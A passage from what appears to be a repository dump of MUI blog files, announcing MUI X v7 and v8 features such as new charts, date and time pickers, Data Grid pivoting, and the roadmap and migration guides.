height=\"800\" loading=\"lazy\" />\n  <figcaption>Three different styles of Gauge charts.</figcaption>\n</figure>\n\nCheck out the [new charts](/x/react-charts/gauge/) documentation page for detailed information.\n\n### Click event handler\n\nThe charts now have click event handlers, so users can interact with chart elements and trigger advanced actions, such as opening a custom modal with detailed information.\n\nThis feature makes charts more interactive and transforms the way users can explore the data, improving the overall user experience with details and other information accessed on demand.\n\n<figure>\n  <img style=\"width: 450px;\" alt=\"Gauge charts\" src=\"/static/blog/mui-x-v7/click-handler.png\" width=\"1200\" height=\"1108\" loading=\"lazy\" />\n  <figcaption>A pie chart with an item click handler.</figcaption>\n</figure>\n\nYou can find more information about specific event handlers for each type of chart by visiting their respective overview page:\n\n- [Line charts click events](/x/react-charts/lines/#click-event)\n- [Bar charts click events](/x/react-charts/bars/#click-event)\n- [Pie charts click events](/x/react-charts/pie/#click-event)\n\n### Built-in Grid\n\nThe Axis component now features a built-in Grid, offering users a structured layout for easier data analysis and visualization.\n\n<figure>\n  <img alt=\"A Chart axis showcasing an horizontal grid\" src=\"/static/blog/mui-x-v7/axis-grid.png\" width=\"1550\" height=\"654\" loading=\"lazy\" />\n  <figcaption>A Chart axis with an horizontal grid.</figcaption>\n</figure>\n\nFor details on its usage and configuration, please refer to the [Grid section](/x/react-charts/axis/#grid) in the documentation.\n\n### Reference line\n\nThe `ChartsReferenceLine` component enhances data visualization, providing users with a clear reference to better understand and analyze key data points.\n\n<figure>\n  <img alt=\"A chart with a reference line\" src=\"/static/blog/mui-x-v7/charts-reference-line.png\" width=\"1290\" height=\"822\" loading=\"lazy\" />\n  <figcaption>A line chart using a reference line.</figcaption>\n</figure>\n\nYou can find more details on its [documentation](/x/react-charts/axis/#reference-line).\n\n## Date and Time Pickers\n\nThe focus has been primarily on developing the highly anticipated Date Time Range Picker, alongside a significant effort to enhance accessibility in the fields, ensuring that our components are as inclusive and user-friendly as possible.\n\n### Improved accessibility for the field components\n\nYou can now set the `enableAccessibleFieldDOMStructure` prop to enhance the DOM structure of fields and pickers components.\n\nThis improvement addresses accessibility limitations of the traditional `<input />` element by enabling a new DOM structure that effectively manages ARIA attributes within multiple input sections.\n\nThis feature greatly improves the experience for screen reader users, making interactions with fields and pickers more intuitive and accessible.\n\n```jsx\n<DateField enableAccessibleFieldDOMStructure />\n<DatePicker enableAccessibleFieldDOMStructure />\n```\n\nFor more details, please check out the [Fields documentation](/x/react-date-pickers/fields/).\n\n### Support for date-fns v3\n\nThe Date and Time Pickers now support both versions of v2 and v3 of [date-fns](https://www.npmjs.com/package/date-fns), and you can select your desired version from one of the two import lines:\n\n```jsx\n// date-fns v2.x\nimport { AdapterDateFns } from '@mui/x-date-pickers/AdapterDateFns';\n\n// date-fns v3.x\nimport { AdapterDateFns } from '@mui/x-date-pickers/AdapterDateFnsV3';\n```\n\n### Date Time Range Picker [<span class=\"plan-pro\"></span>](/x/introduction/licensing/#pro-plan 'Pro plan')\n\nThe latest addition to the Date and Time Pickers suite is the `<DateTimeRangePicker />`, a most anticipated component designed to enrich the user experience with the advanced date and time selection.\nThis intuitive picker simplifies the process of selecting date and time ranges, making it ideal for applications that require detailed scheduling or period selection.\n\n<figure>\n  <video autoplay muted loop playsinline width=\"600\" height=\"510\">\n    <source src=\"/static/blog/mui-x-v7/date-time-range-picker.mp4\" type=\"video/mp4\">\n  </video>\n  <figcaption>A video showcasing a date and time range selection.</figcaption>\n</figure>\n\nLearn how to use and customize the [new component](/x/react-date-pickers/date-time-range-picker/) now!\n\n## What's next\n\nAs usual, we're committed to further improving the library by introducing new features, refining existing ones, and focusing on community feedback to shape our roadmap.\n\nThroughout this year, we'll invest in making MUI X components **design agnostic**. The components will still ship using Material UI as the default, but we're striving to ensure that they seamlessly integrate with any design system.\nThe result is advanced components offering extreme flexibility and customization options, enabling a broader range of application styles without compromising the high-quality use cases and workflows that MUI X is known for.\n\nWe're also excited to announce that we're transitioning MUI X components from using Emotion to using [Pigment CSS](https://github.com/mui/material-ui/blob/master/packages/pigment-css-react/README.md), MUI's new zero-runtime CSS-in-JS library. This move is aimed at better supporting React Server Components, boosting performance and guaranteeing compatibility with the next major version of Material UI.\n\nAdditionally, the following are the deliveries planned for the next few months.\n\n### Data Grid\n\n- [Improved server-side integration](/x/react-data-grid/server-side-data/)\n- [Column management panel with support for pivoting and other features](https://github.com/mui/mui-x/issues/5700)\n- [Pivoting](https://github.com/mui/mui-x/issues/214) [<span class=\"plan-premium\"></span>](/x/introduction/licensing/#premium-plan 'Premium plan')\n\n### Tree View\n\n- [Inline node name editing](https://github.com/mui/mui-x/issues/10112)\n- [Checkbox selection for Simple Tree View and Rich Tree View](https://github.com/mui/mui-x/pull/11452)\n- [Drag and drop support for Rich Tree View](https://github.com/mui/mui-x/issues/9686)[<span class=\"plan-pro\"></span>](/x/introduction/licensing/#pro-plan 'Pro plan')\n\n### Charts\n\n- Improved label flexibility and customization\n- [Zoom and navigation](https://github.com/mui/mui-x/issues/12503)[<span class=\"plan-pro\"></span>](/x/introduction/licensing/#pro-plan 'Pro plan')\n- [Heatmap](https://github.com/mui/mui-x/issues/7926)[<span class=\"plan-pro\"></span>](/x/introduction/licensing/#pro-plan 'Pro plan')\n\n### Date and Time Pickers\n\n- [Time Range Picker](https://github.com/mui/mui-x/issues/4460)[<span class=\"plan-pro\"></span>](/x/introduction/licensing/#pro-plan 'Pro plan')\n\nFor a complete overview, please visit the [MUI X roadmap](https://github.com/orgs/mui/projects/35).\n\n## Long-Term Support\n\nWe roll bug fixes, performance enhancements, and other improvements into new releases, so as we introduce MUI X v7, MUI X v6 now is officially in [Long-Term Support (LTS)](/x/introduction/support/#long-term-support-lts). This means only critical bug fixes and security updates will be patched to MUI X v6.\n\nSupport for MUI X v5 is officially **discontinued**, and we encourage you to migrate to v6 and then to v7 to benefit from enhanced features, performance improvements, and ongoing support.\n\n## Migration guide\n\nUpdating a dependency library can sometimes be daunting.\nTo smooth the transition to the new version, we have documented all breaking changes in our migration guides:\n\n- [Data Grid](/x/migration/migration-data-grid-v6/)\n- [Date and Time Pickers](/x/migration/migration-pickers-v6/)\n- [Charts](/x/migration/migration-charts-v6/)\n- [Tree View](/x/migration/migration-tree-view-v6/)\n\nThese component-specific guides are reference pages designed to assist you if you encounter any challenges while updating to the new major version.\nIt's our way of making the upgrade process more manageable and less burdensome for you.\nHowever, should you need further assistance, please don't hesitate to contact us and send your feedback.\n\n## How to get involved\n\nYour feedback played a crucial role in shaping MUI X, and we always appreciate hearing from you.\nTo continue enhancing our product, we invite you to share your pain points and challenges with us by:\n\n- [Giving us a user interview](https://forms.gle/vsBv6CLPz9h57xg8A).\n- Reporting bugs and suggesting features on our [GitHub repository](https://github.com/mui/mui-x/issues/new/choose).\n\nWe look forward to your input!\n"
  },
  {
    "path": "docs/pages/blog/mui-x-v8-alpha-zero.js",
    "content": "import TopLayoutBlog from 'docs/src/modules/components/TopLayoutBlog';\nimport { docs } from './mui-x-v8-alpha-zero.md?muiMarkdown';\n\nexport default function Page() {\n  return <TopLayoutBlog docs={docs} />;\n}\n"
  },
  {
    "path": "docs/pages/blog/mui-x-v8-alpha-zero.md",
    "content": "---\ntitle: The road to MUI X v8\ndescription: Explore the planned features and our roadmap to the next major version.\ndate: 2024-11-20T00:00:00.000Z\nauthors: ['josefreitas']\ntags: ['MUI X', 'Product']\nmanualCard: false\n---\n\nWe're kicking off the development of [MUI X v8](https://github.com/mui/mui-x/releases/tag/v8.0.0-alpha.0).\nFollowing our yearly release cycle, the target for the first stable release is March 2025.\nThis major update includes new versions of the Data Grid, Charts, Tree View, and the Date and Time Pickers.\nWe're excited to share our roadmap with you and invite you to join us on this journey!\n\n:::warning\nOnly MUI X is getting a new version—Material UI will remain in v6 for now.\nSince only MUI X is getting a new version, you can rest assured that all MUI X v8 components will be fully compatible with Material UI v5 and v6.\n::::\n\n## What's the plan to get to the next major release?\n\nBefore the official release of MUI X v8, we'll go through a few months of pre-releases.\nDuring this period, we'll continue with our usual weekly release process and follow [semantic versioning](https://semver.org/).\nWhile we'll still release bug fixes for v7, these will become less frequent as we progress toward a stable v8 release.\nOur primary focus will be on delivering the new features and implementing the necessary breaking changes in the v8 pre-release packages.\n\nIn the alpha phase, we'll introduce all planned breaking changes for this major version. Some APIs may be unstable—not in terms of functionality, but there may be adjustments or renaming of parameters. This phase is expected to last about two to three months.\n\nFollowing the alpha phase, the beta phase will focus on stabilizing the APIs, fixing bugs, and refining the overall experience. This phase is anticipated to take about one month.\n\nFinally, we'll release the first `v8.0.0` stable by March 2025, and we'll continue improving the components and adding features, but without making any new breaking changes until the next major version.\n\n## What happens to v7?\n\nDuring v8 pre-releases, v7 will continue to be the official current major, and it will remain supported during this time.\nHowever, we will only release new v7 versions as needed to patch bugs or add community contributions.\n\nAll new features and enhancements will go to v8, and after its first stable release, v7 will officially transition to [long-term support](https://mui.com/x/introduction/support/#long-term-support-lts) status.\n\n## Where's the v8 documentation?\n\nAs mentioned above, v7 is still the official version, so by default, the documentation shows v7 features and API.\nThe next version's documentation is in the `next` subdomain.\n\n- [https://next.mui.com/x/introduction/](https://next.mui.com/x/introduction/)\n\n## What's new in v8\n\nThe following is a list of enhancements in the pipeline for v8.\nIt contains the highlights we aim to include in the first versions:\n\n### Data Grid\n\n- [Drag and drop with touch support](https://github.com/mui/mui-x/issues/15385)\n- [New Toolbar](https://github.com/mui/mui-x/issues/11584)\n- [Row spanning](https://mui.com/x/react-data-grid/row-spanning/) (Now stable)\n- [Pivoting](https://github.com/mui/mui-x/issues/214) [<span class=\"plan-premium\"></span>](/x/introduction/licensing/#premium-plan 'Premium plan')\n\n### Date and Time Pickers\n\n- [Improved visual customization](https://github.com/mui/mui-x/issues/14753)\n- [Accessible DOM field by default](https://mui.com/x/react-date-pickers/fields/#accessible-dom-structure)\n- [Time Range Picker](https://github.com/mui/mui-x/issues/4460) [<span class=\"plan-pro\"></span>](/x/introduction/licensing/#pro-plan 'Pro plan')\n\n### Tree View\n\n- [Parent/children selection propagation](https://github.com/mui/mui-x/issues/12883)\n- [Lazy loading](https://github.com/mui/mui-x/issues/9687)[<span class=\"plan-pro\"></span>](/x/introduction/licensing/#pro-plan 'Pro plan')\n- [Virtualization](https://github.com/mui/mui-x/issues/9685)[<span class=\"plan-pro\"></span>](/x/introduction/licensing/#pro-plan 'Pro plan')\n\n### Charts\n\n- Improved design\n- [Radar Chart](https://github.com/mui/mui-x/issues/7925)\n- [Improved data zoom](https://github.com/mui/mui-x/issues/15383)[<span class=\"plan-pro\"></span>](/x/introduction/licensing/#pro-plan 'Pro plan')\n- [Funnel Chart](https://github.com/mui/mui-x/issues/7929)[<span class=\"plan-pro\"></span>](/x/introduction/licensing/#pro-plan 'Pro plan')\n\n:::info\nYou can check our [roadmap](https://github.com/orgs/mui/projects/35) for the full live list.\n:::\n\n## How to migrate\n\nAs usual, we've prepared a migration guide for each component, and we'll continuously update them as we make any breaking changes during the pre-releases.\nThey list every breaking change you may need to update to migrate your codebase.\n\n- [Data Grid](https://next.mui.com/x/migration/migration-data-grid-v7/)\n- [Date and Time Pickers](https://next.mui.com/x/migration/migration-pickers-v7/)\n- [Charts](https://next.mui.com/x/migration/migration-charts-v7/)\n- [Tree View](https://next.mui.com/x/migration/migration-tree-view-v7/)\n\nWe strongly encourage you to try the new version—it builds on the solid foundation we established with v7, bringing even more improvements!\n\n## How to get involved\n\nWe'd love to hear about your expectations and pain points! Please consider [connecting with us](https://forms.gle/vsBv6CLPz9h57xg8A) for a user interview.\nYou'll get an insider's perspective on the development, and you'll be able to help us iterate early on the new features.\n\nWe're also happy to receive feedback on new features and bug reports in our [GitHub repository](https://github.com/mui/mui-x/issues/new/choose).\nYou can follow every step of the v8 development process through our [changelog](https://github.com/mui/mui-x/releases).\n"
  },
  {
    "path": "docs/pages/blog/mui-x-v8.js",
    "content": "import TopLayoutBlog from 'docs/src/modules/components/TopLayoutBlog';\nimport { docs } from './mui-x-v8.md?muiMarkdown';\n\nexport default function Page() {\n  return <TopLayoutBlog docs={docs} />;\n}\n"
  },
  {
    "path": "docs/pages/blog/mui-x-v8.md",
    "content": "---\ntitle: Introducing MUI X v8\ndescription: Read all about the new release of the advanced components and other important steps forward with this new major.\ndate: 2025-04-17T08:00:00.000Z\nauthors: ['josefreitas']\ntags: ['MUI X', 'Product']\nmanualCard: false\n---\n\n<style>\n  #blog-responsive-image {\n    height: 230px;\n    @media (max-width: 600px) {\n      height: 167px;\n    }\n  }\n</style>\n\n<a href=\"https://github.com/mui/mui-x/releases/tag/v8.0.0\">\n  <img\n    id=\"blog-responsive-image\"\n    src=\"/static/blog/mui-x-v8/intro.png\"\n    alt=\"\"\n    height=\"2400\"\n    width=\"800\"\n    style=\"width: 100%; object-fit: cover; object-position: center; border: 0px;\"\n  />\n</a>\n\nWe are excited to announce the stable release of [MUI X v8.0.0](https://github.com/mui/mui-x/releases/tag/v8.0.0)—packed with many new features, native ESM support alongside [Material UI v7](/blog/material-ui-v7-is-here/), and an improved license management experience.\n\n:::warning\nMUI X v8 features native ESM support for a seamless integration with Material UI v7.\nAs a result, extra configuration is necessary to continue working with Material UI v5 and v6, which use CJS.\n\nLearn more in the [support for Material UI](#support-for-material-ui) section below.\n:::\n\n## Table of contents\n\n- [Data Grid](#data-grid)\n  - [Pivoting](#pivoting)[<span class=\"plan-premium\"></span>](/x/introduction/licensing/#premium-plan 'Premium plan')\n  - [Ask Your Table - AI assistance in the Data Grid](#ask-your-table-ai-assistance-in-the-data-grid)[<span class=\"plan-premium\"></span>](/x/introduction/licensing/#premium-plan 'Premium plan')\n  - [List view](#list-view)[<span class=\"plan-pro\"></span>](/x/introduction/licensing/#pro-plan 'Pro plan')\n  - [Server-side Aggregation <span class=\"plan-premium\"></span> and Lazy loading](#server-side-aggregation-and-lazy-loading) <a href=\"/x/introduction/licensing/#pro-plan\" title=\"Pro plan\"><span class=\"plan-pro\"></span></a>\n  - [Data source with support for editing](#data-source-with-support-for-editing)\n  - [Data source on the Community Plan](#data-source-on-the-community-plan)\n  - [Row spanning](#row-spanning)\n  - [New Toolbar](#new-toolbar)\n  - [No columns overlay](#no-columns-overlay)\n- [Date and Time Pickers](#date-and-time-pickers)\n  - [Time Range Picker](#time-range-picker)[<span class=\"plan-pro\"></span>](/x/introduction/licensing/#pro-plan 'Pro plan')\n  - [New view-switching strategy](#new-view-switching-strategy)\n  - [Clear `ownerState` for slots](#clear-ownerstate-for-slots)\n  - [Accessible DOM structure](#accessible-dom-structure)\n  - [Keyboard editing on mobile Pickers](#keyboard-editing-on-mobile-pickers)\n- [Tree View](#tree-view)\n  - [Lazy loading children](#lazy-loading-children) [<span class=\"plan-pro\"></span>](/x/introduction/licensing/#pro-plan 'Pro plan')\n  - [Automatic selection propagation](#automatic-selection-propagation)\n  - [New customization hook](#new-customization-hook)\n- [Charts](#charts)\n  - [Funnel Charts](#funnel-charts)[<span class=\"plan-pro\"></span>](/x/introduction/licensing/#pro-plan 'Pro plan')\n  - [Radar Charts](#radar-charts)\n  - [New animation engine](#new-animation-engine)\n  - [Server-side rendering for Charts](#server-side-rendering-for-charts)\n  - [Refined design and interaction](#refined-design-and-interaction)\n  - [HTML Legend for Charts](#html-legend-for-charts)\n  - [Charts composition](#charts-composition)\n- [Enhanced License management and Telemetry](#enhanced-license-management-and-telemetry)\n- [Priority Support – a new support service](#priority-support-a-new-support-service)\n- [Support for Material UI](#support-for-material-ui)\n- [Migration guide](#migration-guide)\n- [Long-term support (LTS)](#longterm-support-lts)\n- [What's next](#whats-next)\n- [How to get involved](#how-to-get-involved)\n\n## Data Grid\n\n### Pivoting [<span class=\"plan-premium\"></span>](/x/introduction/licensing/#premium-plan 'Premium plan')\n\nThe wait is over! With pivoting, your users can easily restructure and summarize large datasets: group related data, calculate aggregates (such as sums, averages, and counts), and compare different data categories side by side.\nThis flexibility enables faster insight discovery and more efficient data analysis.\n\nThis feature is available right out of the box, but you can also create a preconfigured setup to tailor it to your user requirements.\n\n<figure>\n  <video autoplay muted loop playsinline width=\"1366\" height=\"1142\" controls style=\"border: 0; width: 683px\">\n    <source src=\"/static/blog/mui-x-v8/pivoting.mp4\" type=\"video/mp4\">\n  </video>\n  <figcaption>A common pivoting use case</figcaption>\n</figure>\n\nCheck out the [Data Grid pivoting](/x/react-data-grid/pivoting/) documentation to learn more.\n\n### Ask Your Table - AI assistance in the Data Grid [<span class=\"plan-premium\"></span>](/x/introduction/licensing/#premium-plan 'Premium plan')\n\nAfter a testing period with pilot users and customers, we're excited to introduce our new AI Assistant for the Data Grid: [Ask Your Table](/x/react-data-grid/ai-assistant/).\n\nNow your users can interact with data using natural language queries and extract data insights faster than ever.\n\nFor example, if you're working with an Olympics medal dataset, you can simply ask, \"Who won the most gold medals this century?\" and the Data Grid will automatically apply the right filters, groupings, and aggregations to display your answer—all while keeping your dataset private.\n\n<figure>\n  <img width=\"2084\" height=\"928\" alt=\"An example use case showcasing the answer to the question with the correct sorting, filters and grouping\" src=\"/static/blog/mui-x-v8/ask-your-table.png\" loading=\"lazy\">\n  <figcaption>An answer from the Data Grid</figcaption>\n</figure>\n\nFully customize your own UI for direct input, or use the AI Assistant panel—featuring question history, detailed view of the applied changes, and conversation threads.\n\n<figure>\n  <video autoplay muted loop playsinline width=\"1260\" height=\"772\" controls style=\"border: 0;\">\n    <source src=\"/static/blog/mui-x-v8/ai-assistant.mp4\" type=\"video/mp4\">\n  </video>\n  <figcaption>A video showcasing our AI Assistant panel</figcaption>\n</figure>\n\n**Key benefits:**\n\n- **Enhanced usability**: Simplify interactions with data by asking questions in plain language.\n- **Unlock the full potential of the Data Grid**: Explore, combine, and discover powerful data analysis features often hidden behind menus, without having to hop from one menu to another.\n- **Data privacy:** No need to share your dataset—the service model only requires your column definitions and a few data samples.\n\nInterested in bringing this feature to your users? [Contact us](mailto:sales@mui.com) to get your API Key!\n\n### List view [<span class=\"plan-pro\"></span>](/x/introduction/licensing/#pro-plan 'Pro plan')\n\nWe've promoted List view to stable, and over this major we're committed to enhancing this feature even further—making it easier to deliver a robust Data Grid experience on small screens.\n\n<figure>\n  <img width=\"512\" height=\"768\" alt=\"An example of a Data Grid's list view on a phone\" src=\"/static/blog/mui-x-v8/list-view.png\" loading=\"lazy\" style=\"border: 0;\">\n  <figcaption>An example of a Data Grid's list view on a phone</figcaption>\n</figure>\n\nLearn more about [List view](/x/react-data-grid/list-view/).\n\n### Server-side Aggregation [<span class=\"plan-premium\"></span>](/x/introduction/licensing/#premium-plan 'Premium plan') and Lazy loading [<span class=\"plan-pro\"></span>](/x/introduction/licensing/#pro-plan 'Pro plan')\n\nThe Data Source now supports advanced features such as server-side aggregation, on-demand data fetching for infinite scrolling, and lazy loading.\n\nExplore all your options when handling [Server-side data](/x/react-data-grid/server-side-data/).\n\n### Data Source with support for editing\n\nOur Data Source now includes an optional `updateRow()` method to facilitate server-side data updates. This method returns a Promise that resolves when the row is successfully updated. On success, the grid updates the row and automatically clears the client-side cache to ensure that no outdated data is displayed. If an error occurs, the `onDataSourceError` callback is triggered with an error object containing the update parameters, as detailed in the Error Handling section.\n\nHere's an example of a Data Source configuration with editing support:\n\n```js\nconst dataSource: GridDataSource = {\n  getRows: async (params: GridGetRowsParams) => {\n    // Fetch rows from the server\n  },\n  updateRow: async (params: GridUpdateRowParams) => {\n    // Update row on the server\n  },\n}\n```\n\nFor more details, please refer to the [Updating Data](/x/react-data-grid/server-side-data/#updating-data) page.\n\n### Data source on the Community Plan\n\nGreat news—the Data source move from the Pro Plan to the Community Plan (MIT licensed)!\n\nWe're unifying our approach to handling server-side data across all plans, creating a single, cohesive framework.\n\nExplore your options in our [Data source docs](/x/react-data-grid/server-side-data/).\n\n### Row spanning\n\nRow spanning has also been promoted to stable, providing a reliable and flexible solution for merging cells across multiple rows.\nThis enhancement makes it easier to create complex, multi-row layouts within your Data Grid, allowing you to present your data more effectively.\n\n<figure>\n  <img alt=\"An example highlighting rows using row-spanning\" src=\"/static/blog/mui-x-v8/row-spanning.png\" loading=\"lazy\" style=\"border: 0;\" width=\"1762\" height=\"630\">\n  <figcaption>An example highlighting rows using row-spanning</figcaption>\n</figure>\n\nLearn how to set up and use [Row spanning](/x/react-data-grid/row-spanning/).\n\n### New Toolbar\n\nThe [redesigned toolbar](/x/react-data-grid/components/toolbar/) not only looks fantastic but also empowers developers one step further through an open composition of subcomponents, allowing you to tailor the toolbar's layout precisely to your application's needs.\n\n<figure>\n  <video autoplay muted loop playsinline width=\"1386\" height=\"630\" style=\"border: 0; width: 686px;\">\n    <source src=\"/static/blog/mui-x-v8/toolbar.mp4\" type=\"video/mp4\">\n  </video>\n  <figcaption>A video showcasing the new toolbar design.</figcaption>\n</figure>\n\nThis new developer experience, based on composition, may feel different from our previous approach—but it sets a new standard.\nWe'll soon extend this enhanced experience to other key subcomponents, such as the filter panel and columns management panel, ensuring a cohesive and powerful toolkit for advanced customization.\n\nDive into our new docs section on [Components usage](/x/react-data-grid/components/usage/).\n\n### No columns overlay\n\nWe've added a no-columns overlay to serve as a clear fallback when the Data Grid has no columns to show.\n\nLearn more in the [No columns overlay documentation](/x/react-data-grid/overlays/#no-columns-overlay).\n\n## Date and Time Pickers\n\n### Time Range Picker [<span class=\"plan-pro\"></span>](/x/introduction/licensing/#pro-plan 'Pro plan')\n\nIt's finally here! The highly anticipated Time Range Picker component is designed for a straightforward and efficient experience, perfect for scheduling applications and detailed period inputs.\n\n<figure>\n  <video autoplay muted loop playsinline width=\"391\" height=\"524\" controls>\n    <source src=\"/static/blog/mui-x-v8/time-range-picker.mp4\" type=\"video/mp4\">\n  </video>\n  <figcaption>Time Range Picker example</figcaption>\n</figure>\n\nGet started with the [Time Range Picker](/x/react-date-pickers/time-range-picker/).\n\n### New view-switching strategy\n\nWe've removed the automatic view-switching in the Date Time and Time Range Pickers to deliver a more consistent and user-friendly experience.\n\nNow, you can easily customize the input flow behavior to better suit your application's needs.\n\nLearn more in the [Time Range Picker docs](/x/react-date-pickers/time-range-picker/).\n\n### Clear `ownerState` for slots\n\nWe've refined our slot system by clearing the `ownerState` before passing props to slot components.\nThis ensures that only the necessary properties are forwarded—resulting in a cleaner API, reduced prop clutter, and enhanced performance.\nBy isolating internal state from presentation layers, you gain more predictable styling and greater control when customizing components.\n\n### Accessible DOM structure\n\nThe Accessible DOM structure is now the default for our field components.\nThe new structure ensures screen readers can correctly work with the fields.\n\n### Keyboard editing on mobile Pickers\n\nWe've introduced keyboard editing support for mobile pickers.\nUsers can now seamlessly input and adjust date and time values directly via on-screen keyboards, providing a more accessible and efficient experience.\n\n<figure>\n  <img height=\"1080\" width=\"1095\" style=\"width: 365px\" alt=\"Mobile picker with keyboard input\" src=\"/static/blog/mui-x-v8/mobile-picker-keyboard.jpg\" loading=\"lazy\">\n  <figcaption>Mobile picker with keyboard input</figcaption>\n</figure>\n\n## Tree View\n\n### Lazy loading children [<span class=\"plan-pro\"></span>](/x/introduction/licensing/#pro-plan 'Pro plan')\n\nWe've enhanced the Rich Tree View with a robust lazy loading mechanism for children.\nNow, children are loaded on demand—reducing initial load times and improving performance when working with extensive hierarchical data.\nThis approach ensures a smoother user experience and also minimizes unnecessary network overhead.\n\n<figure>\n  <video autoplay muted loop playsinline style=\"width: 360px\" width=\"776\" height=\"720\" >\n    <source src=\"/static/blog/mui-x-v8/tree-view-lazy-loading.mp4\" type=\"video/mp4\">\n  </video>\n  <figcaption>Lazy loading of children on selection</figcaption>\n</figure>\n\nLearn how to add [Lazy loading](/x/react-tree-view/rich-tree-view/lazy-loading/) to your application's Tree View.\n\n### Performance improvements in re-rendering\n\nWe've optimized the Tree View to update only the parts that need changes, rather than re-rendering all items.\nWith the use of selectors to precisely target nodes for re-rendering, we've achieved a significant performance boost.\nIn upcoming releases, we'll make another big step with the introduction of virtualization.\n\n### Automatic selection propagation\n\nThe Rich Tree View now supports parent/child selection propagation.\nThis means you can select a parent and automatically select all of its children, and vice versa—depending on your requirements and configuration.\n\n<figure>\n  <video autoplay muted loop playsinline style=\"width: 300px\" width=\"704\" height=\"720\">\n    <source alt=\"Automatic selection of children\"  src=\"/static/blog/mui-x-v8/tree-view-automatic-selection.mp4\" type=\"video/mp4\">\n  </video>\n  <figcaption>Automatic selection of children</figcaption>\n</figure>\n\n```tsx\ntype TreeViewSelectionPropagation = {\n  descendants?: boolean; // default: false\n  parents?: boolean; // default: false\n};\n```\n\nYou can learn more in the [Selection docs](/x/react-tree-view/rich-tree-view/selection/).\n\n### New customization hook\n\nWe've officially transitioned to a new developer experience for customizing Tree Items for the Rich Tree View.\nWith our new customization hook, you can freely compose your Tree Item while still leveraging all the out-of-the-box features of the Rich Tree View.\nThis provides unparalleled flexibility to tailor your tree components to your project's unique requirements.\n\n```js\nconst CustomTreeItemComponent = React.forwardRef(function CustomTreeItemComponent(\n  { id, itemId, label, disabled, children }: TreeItemProps,\n  ref: React.Ref<HTMLLIElement>,\n) {\n  const treeItemData = useTreeItem({ id, itemId, children, label, disabled, rootRef: ref });\n\n  return (\n    <TreeItemProvider {...treeItemData.getContextProviderProps()}>\n      <TreeItemRoot {...treeItemData.getRootProps()}>\n        <TreeItemContent {...treeItemData.getContentProps()}>\n          <TreeItemLabel {...treeItemData.getLabelProps()} />\n        </TreeItemContent>\n        {children && <TreeItemGroupTransition {...treeItemData.getGroupTransitionProps()} />}\n      </TreeItemRoot>\n    </TreeItemProvider>\n  );\n}\n```\n\nLearn more this and other options on [Tree Item Customization docs](/x/react-tree-view/tree-item-customization/).\n\n## Charts\n\n### Funnel Charts [<span class=\"plan-pro\"></span>](/x/introduction/licensing/#pro-plan 'Pro plan')\n\nWe have expanded our chart portfolio with the addition of Funnel Charts, providing a new way to visualize data conversions and drop-offs.\n\n<figure>\n  <img alt=\"Funnel charts examples\" src=\"/static/blog/mui-x-v8/funnel-charts.png\" loading=\"lazy\" width=\"1992\" height=\"622\">\n  <figcaption>Funnel Charts examples</figcaption>\n</figure>\n\nYou can learn more in the [Funnel](/x/react-charts/funnel/) docs.\n\n### Radar Charts\n\nSimilarly, our Radar Charts offer a dynamic way to display multivariate data, enhancing your users data analysis capabilities.\n\n<figure>\n  <img width=\"836\" height=\"740\" alt=\"Radar charts examples\" src=\"/static/blog/mui-x-v8/radar-charts.png\" loading=\"lazy\" style=\"width: 418px;\">\n  <figcaption>Radar Charts examples</figcaption>\n</figure>\n\nYou can learn more in the [Radar](/x/react-charts/radar/) docs.\n\n### New animation engine\n\nWe've replaced React Spring with our very own animation engine, designed for optimal performance and full support—including guaranteed compatibility with React 19 and future releases. By building our own solution, we can ensure reliable support and provide continuous improvements tailored to the specific needs of our components.\n\n### Server-side rendering for Charts\n\nYou can now leverage server-side rendering (SSR) for charts to improve initial load performance and SEO.\nSSR is supported under two conditions:\n\n- **Dimensions:** You must provide explicit `width` and `height` props, as the SVG dimensions cannot be computed on the server.\n- **Animations:** Animations must be disabled using the `skipAnimation` prop; otherwise, the chart may render in an empty state on the initial render.\n\n### Refined design and interaction\n\nCharts in MUI X v8 have been enhanced for greater clarity and interactivity. We've refined the default palettes, improved tooltips, and optimized legends display.\n\n<figure>\n  <img width=\"3792\" height=\"2126\" alt=\"Charts redesigned - before/after\" src=\"/static/blog/mui-x-v8/charts-before-after.png\" loading=\"lazy\" style=\"border: 0;\">\n  <figcaption>Charts redesigned before/after</figcaption>\n</figure>\n\n### HTML Legend for Charts\n\nWe've re-engineered the charts legend so that it's now rendered as a native HTML element.\nThis change gives you more control over its styling and behavior, making it easier to integrate with your design system.\n\n### Charts composition\n\nWe've restructured our charts composition by dividing responsibilities between two dedicated components: `<ChartDataProvider />` and `<ChartsSurface />`.\nThe `<ChartDataProvider />` now focuses solely on managing and processing your chart data, while `<ChartsSurface />` is dedicated to rendering the visual aspects.\nThis clear separation enhances customization, improves performance, and offers a more flexible integration with your application.\n\nLearn more in our [Charts composition documentation](/x/react-charts/composition/).\n\n## Enhanced License management and Telemetry\n\nManaging your license has never been easier.\nOur redesigned [account page](https://mui.com/store/account/) in the store allows you to view your license keys, update number of seats, renew, upgrade, and more.\n\n<figure>\n  <img width=\"2424\" height=\"1736\" alt=\"One of the new screens in your accounts site\" src=\"/static/blog/mui-x-v8/accounts-page.png\" loading=\"lazy\">\n  <figcaption>One of the new screens in your accounts site</figcaption>\n</figure>\n\nIn addition, we've integrated telemetry into our system to continuously enhance your experience with our products.\nUsing this same infrastructure, you'll soon be able to manage your license without changing your key—thanks to server-side license validation.\n\nTelemetry is released as an opt-in feature.\nWe recommend enabling it by adding the following code to your project, close to your license validation:\n\n```js\nimport { muiXTelemetrySettings } from '@mui/x-license';\n\nmuiXTelemetrySettings.enableTelemetry();\n```\n\nYou can find more details in our [telemetry guide](/x/guides/telemetry/).\n\n## Priority Support – a new support service\n\nA few months ago, we launched Priority Support with a few customers, and now we're excited to invite more users to take advantage of this service.\n\nPriority Support offers fast, dedicated assistance with guaranteed response times, ensuring that technical issues across MUI's full product suite are addressed swiftly and efficiently.\n\nFor full details on the benefits and service levels of Priority Support, please see our [Support SLA](https://mui.com/legal/technical-support-sla/).\n\nIf you're interested in upgrading to Priority Support, don't hesitate to [contact our sales team](mailto:sales@mui.com) for more information or purchase it directly through your account page.\n\n## Support for Material UI\n\nWhen planning this major release, our goal was to support the last two major versions of Material UI.\nHowever, we faced a tough choice: continue supporting older versions (v5 and v6) out of the box, or fully embrace the step forward with Material UI v7.\nWith improved ESM support and seamless integration with modern bundlers like Vite and webpack, v7 represents the future of Material UI.\nSupporting both simultaneously wasn't feasible, so we chose to move forward.\n\nAs a result, MUI X v8 only supports Material UI v7 by default.\nWe understand this change could present a challenge, but migrating to v7 has been designed to be as smooth as possible, with comprehensive migration guides and GitHub 